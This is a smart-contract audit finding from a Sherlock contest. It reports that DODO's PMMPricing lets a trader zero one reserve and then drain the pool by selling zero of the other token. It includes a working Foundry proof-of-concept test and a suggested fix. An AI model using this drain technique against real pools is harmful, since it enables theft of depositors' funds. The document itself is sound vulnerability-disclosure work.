sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

cergyk - PMMPricing::sellBaseToken Trader can drain pool by removing all reserves on one side #112

Closed sherlock-admin closed 9 months ago

sherlock-admin commented 9 months ago

cergyk

high

PMMPricing::sellBaseToken Trader can drain pool by removing all reserves on one side

Summary

A trader can set the reserve to zero on one side of the pool by making a very large swap. The computed target for the zeroed token would then be zero, and by doing a reverse swap of zero amount, the attacker gets all the liquidity in the pool minus lpFee.

Note that this works for extremely small but non-zero k values (to determine).

Vulnerability Detail

Scenario

Pool setting: base: USDT quote: USDC

k = 1 wei; // important that it is not 1 nor 0, since those are edge cases in calculations

Initial reserves: 1M USDT and 1M USDC

By providing a very large amount of USDT, the attacker can bring the reserve of USDC to zero.

Once the reserve of USDC is exactly zero, the attacker can sell 0 USDC to withdraw the whole USDT balance minus USDT target, essentially getting back the amount of USDT invested, and keeping the drained USDC.

This is because in the edge case when payBaseAmount == backToOnePayBase, the target is not checked to not be zero as in _GeneralIntegrate or _SolveQuadraticForTrade: https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/DODOStablePool/lib/PMMPricing.sol#L63-L67

During the POC we use k == 1 and lpFee == 0, but k can be bigger (determine to which extent).

POC

Modify DeployGSP.s.sol:

-   uint256 constant K = 500000000000000;
+   uint256 constant K = 1;

Add following test to GSPTrader.t.sol:

    function test_sellBase() public {
        // transfer some tokens to USER
        deal(address(dai), USER, 1000*BASE_RESERVE);
        deal(address(usdc), USER, 10*QUOTE_RESERVE);

        // User buys shares
        vm.startPrank(USER);
        dai.transfer(address(gsp), BASE_RESERVE);
        usdc.transfer(address(gsp), QUOTE_RESERVE);
        gsp.buyShares(USER);
        vm.stopPrank();

        PMMPricing.PMMState memory state = gsp.getPMMState();

        console.log("BEFORE SELLING");
        console.log(state.B0); // 10000000000000000000
        console.log(state.B); // 10000000000000000000
        console.log(state.Q0); // 10000000
        console.log(state.Q); // 10000000
        console.log(uint32(state.R));

        // User sells base
        vm.startPrank(USER);
        dai.transfer(address(gsp), BASE_RESERVE);
        gsp.sellBase(USER);

        vm.startPrank(USER);
        dai.transfer(address(gsp), BASE_RESERVE);
        gsp.sellBase(USER);

        state = gsp.getPMMState();
        console.log("State after Sell base");
        console.log(state.B0); // 10000000000000000000
        console.log(state.B); // 30000000000000000000
        console.log(state.Q0); // 0
        console.log(state.Q); // 0
        console.log(uint32(state.R));

        //Selling zero quote
        gsp.sellQuote(USER);

        state = gsp.getPMMState();
        console.log("State after Sell base");
        console.log(state.B0); // 10000000000000000000
        console.log(state.B); // 10000000000000000000 -> Back to initial reserve
        console.log(state.Q0); // 0
        console.log(state.Q); // 0 -> whole supply of usdc has been drained
        console.log(uint32(state.R));
    }

Impact

When k is very small, an attacker can sell a very large amount to drain liquidity on one side, and then get back invested amount by swapping for zero in the opposite direction.

Note that a flash-loan can be used to carry this attack, meaning that a very large amount of funds can be used in practice

Code Snippet

Tool used

Manual Review

Recommendation

Check that target is not zero when in the case payBaseAmount == backToOnePayBase:

} else if (payBaseAmount == backToOnePayBase) {
    // case 2.2: R status changes to ONE
+   require(state.B0 != 0, "Zero target");
    receiveQuoteAmount = backToOneReceiveQuote;
    newR = RState.ONE;
}

Duplicate of #122